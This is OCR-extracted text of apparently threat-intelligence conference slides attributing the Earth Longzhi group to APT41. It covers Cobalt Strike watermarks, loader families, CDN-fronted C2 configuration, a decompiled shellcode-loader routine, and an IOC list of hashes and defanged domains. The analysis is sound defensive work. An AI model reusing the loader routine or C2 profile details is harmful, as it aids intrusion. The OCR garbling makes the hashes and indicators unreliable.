watermark: generated by CobaltStrike.auth
pubkey: .cobaltstrike.beacon_keys
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« Same watermark with different public key (MD5)

426352781 426352781
9ee3e0425ade426 9ee3e0425ade426
Not found af0cb07094aa29¢eb af0cb07094aa29%¢eb

Cobalt Strike Metadata Comparison

426352781
9ee3e0425aded26
af0cb07094aa2%¢eb

Attack against Attack against Attack against Urban
Insurerance industry in Aviatiqn indus.try in ngelopr_ngnt indgstry Attack against Aviation

Phillipines using Thal[and using in P.hlll'lplnes using industry in Taiwan using
SymaticLoader BigpipeLoader BigpipeLoader CroxLoader

o o) o o } O o—0

Aug Sep Oct Dec Jan Mar

2021 | | 2022
Possible attack  Possible attack Possible attack Eossible e!ttack. Possible attack against
against unknown  against Unknown against Defense against Ukraine using Defense industry in

industry in Pakistan  industry in Malaysia  industry in Indonesia BigpipeLoader

using OutLoader using OutLoader using BigpipeLoader
461002c2a1672f719
895a9de74668635 9469ca5f4fi8cfe
ets [FoUn) Note e Hea31d5db021f7fb
426352781
426352781
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Sharing Cobalt Strike License?

« Watermark 426352781 and public key MD5 9ee3eb425ade426af0cbB7094aa29¢ebc are
used by Earth Baku and GroupCC which is believed to be a subgroup of APT41

GroupCC reported by TeamT5 usesd Cobalt Strike with watermark

Earth Baku reported by us used Cobalt Strike with watermark 426352781 and pubkey See3e0425aded26afocboyo94aazoebe

426352781 PR conixa

ypi.python.orgIE!

Fastly (GroupCC)

The Cobalt Strike beacon found in the StealthMutant and StealthVector samples has two types of
watermarks. One is “305419896", which is that of a cracked version, and is widely used by a variety of

other malicious actors, according to research conducted by VMware Carbon Black.™ The other watermark pypi2-python.org BeaconType - HrTPS
Port -443
is['426352781"Jwhich has been in use since at least May 2021 but has never been attributed to malicious ‘ A e / £
Jitter -10
actors before. pypi2-python.org.global.prod.fastly.net | Pubiickey_wos
UserAgent - Mozilla/5.0 (VGindows &T”S.l; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
l t{»ttpPoslUri - /latest/check
https://documents.trendmicro.com/assets/white_papers/wp-earth- Plostiame et Foing
. . . . DNS_Sleep - Not Found
baku-an-apt-group-targeting-indo-pacific-countries.pdf Real C2 IP SsH ot -Not Found
SSH_Username - Not Found Resolutions  Whols  Certificates  Subdomains
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found

SSH_Banner - Host: pypi2-python.org
Hosts reused as ackends for you e In addton to the P address and pot, w© .
ﬂﬂﬂﬂﬂ | watermark -a26352781 ||
Procinject_AllocationMethod - VirtualAllocEx
[ - i oo [T bUsesCookies ~True
HostHeader - Host: pypi2-python.org

https://hitcon.org/2021/agenda/labeaad2-5152-4468-91ac-
d50a39dd7834/Winnti%20is%20Coming%20-%20Evolution%20after%20Prosecution.pdf

52
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Tool / TTP overlaps with GroupCC

 Same routine to decrypt payload

Loader used by GroupCC SymaticLoader

while (

(al-»Sleep)(150@8);
GroupCC if

= (al-»CreatefFileA)(al-»field @, GxBeceeoes, 1, @, 3, B, 8);
= (al-»GetFileSize)(vs, @);
03 = (al-»*VirtualAllec) (@, v2 + 1824, 12288, 64);
(al-»ReadFile)(vs, v3, v2, &al-»field 28, @);
for ( 1 =@8; i ¢ al-»>field_28; ++1i )
vA[1] = (v3[1i] - exA) ~ @xCC;
{al-»CloseHandle} (vS);
(al-»EtwpCreateEtwThread) (v, 8);
while ( 1 )
(al->Sleep)(l5e0a);

while { w17 };

° H|d|ng C&C server abUSing FaStly CDN Cobalt Strike profile loaded by BigpipeLoader

C2Server docs. python.org, /3/_static/documentation_options. js
UserAgent Mozilla/5.8 (Windows NT 6.1; Winéu; x6u) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/8u.8.4147.125 Safari/537.36
HttpPostUri /3/_static
Malleable_C2_Instructions Remove 2 bytes from the end
Remove 18 bytes from the beginning
Remove © bytes from the beginning
Base6d URL-safe decode

Fastly (GroupCC)

pypi2-python.org

HTPS
-as3

[l s XOR mask w/ random key
10
T T HttpGet_Metadata ConstHeaders . . . .
e e Accept: text/html,application/xhtml+xml,application/xml;q=6.9,%/*;q=80
HttpPost_Metadata ConstHeaders
4 . Accept: text/html,application/xhtml+xml,6application/xml;q=0.9,6%/*;q=0.8
Real C2 IP S _Host % . E " Referer: http://umm:pythun.urg/
i > - - Accept-Encoding: gzip, deflate
< a E a SessionId
Host pypiz pyihanorg
- 426352781 = k
AlocationMethod - VitualAlocex baseédurl
= G parameter "__utmz"

52 Qutput
mask
baseélurl
print
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Earth Longzhi and Known APT41-related groups

« We believe with confidence that Earth Longzhi == GroupCC
« Earth Longzhi is probably;

— Subgroup of APTA41

— Collaborating (sharing tools) with APT41

Earth Longzh L VY
\ ﬁ "'-J .
*
* Grou
pCC
CroxLoader \ A g\ i
@ 2 ‘
sharing—inﬂ/ * —> * f

/ Cobalt Strike watermarl k: 426352781 APT41
& N
f use
Earth Bak
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Conclusion

Summary

 Earth Longzhi has been operating multiple campaigns targeting several industries

mainly in Asia-Pacific region.
 Earth Longzhiis very familiar with red-teaming technigues.
— Looks like they're playing “Hack The Box" in the real world.

 Earth Longzhi could be related to APTA41.
— Using TTPs similar to the ones used by APT41's known subgroup
— Possibly sharing Cobalt Strike license

Challenges

e Attribution is getting more complex.
— Threat Actors are not a monolithic/static group anymore.

— Developers and operators could share TTP/tools with other teams/groups.
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10Cs

fb48b4a3521d3fb86441f35cff536db68c3ble8c
97776ebac5794ae60b82d2a55f9aa255ea407b82
b623cf7a2e05db74e199f0b4b4bf180a41118cf8
7510c65c6b2ad49cf14b6+7329acaa5d77dd475a
08dad41c13d4b541fee703044c543c6516581edcc
c06198627bc1c8301633dc5d8b42579153136das
641922deed41b50744b8889ctcc90ee27a18310cO
b172e364bb320545b12826eeb77ee7e3ab56ade5
641922dee41b50744b8889cfcc90ee27a18310c0
e1a308add5+38e0c3b3050268d8e97c6731150ce
7e45601f78d17b7efad091ed4ed241102948a3a1f9
e20d7aee8d5a2daeb6c2069a466f06catdcfl195F
€1793411bdc@8b906fc1112a1548e8137023285F
f30cd68daf@82becfOeac8efaaeb4bfeld4396144
92218d3e65b974ablbc9fa364a5597dfobeddb72
9a7a1db62588f0dal2bdbbe8f7e6775b15409a05
d4296d2e6781ccab7c7fb45a493ba6783aa36b11
47et7c2894542a31961159dddac3a304188285f7
afb5d1lcc76126e5a4d6e1891eb886b1445e720e3
829a37bac477c316750199819070b56a55749199
36967195eca702a09b39108d9a9b91a8f4b5685F
f987eaf2529d85f6b57e6fedd84617b4d103109b
57ebd92b2f0c2269a3aalaea74498a44041ecc75
842541201869de41f99b5+2e6697868259e9de4b
64e76afdf43a6883461ae7dc9685015469b32e86
39727e755b2806fc2ed5204dae4572al14b2d43d1
4e0cf09dc166102613c22e0810a384ed56318461
9c2d9d65827cdb9fc44126delbl7af@7df4cledd

SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
SymaticLoader
Multipiploader
OutLoader
OutLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
BigpipelLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
BigpipeLoader
CroxLoader
AlllnOne

AVBurner + PrintSpoofer

ProcBurner
ProcBurner

Domain/IP address

47.108.173[.]88

www.affice366[.]com
www.vietsovspeedtest[.]com

c.ymvh8w5[ . ]xyz

139.180.138[.]226



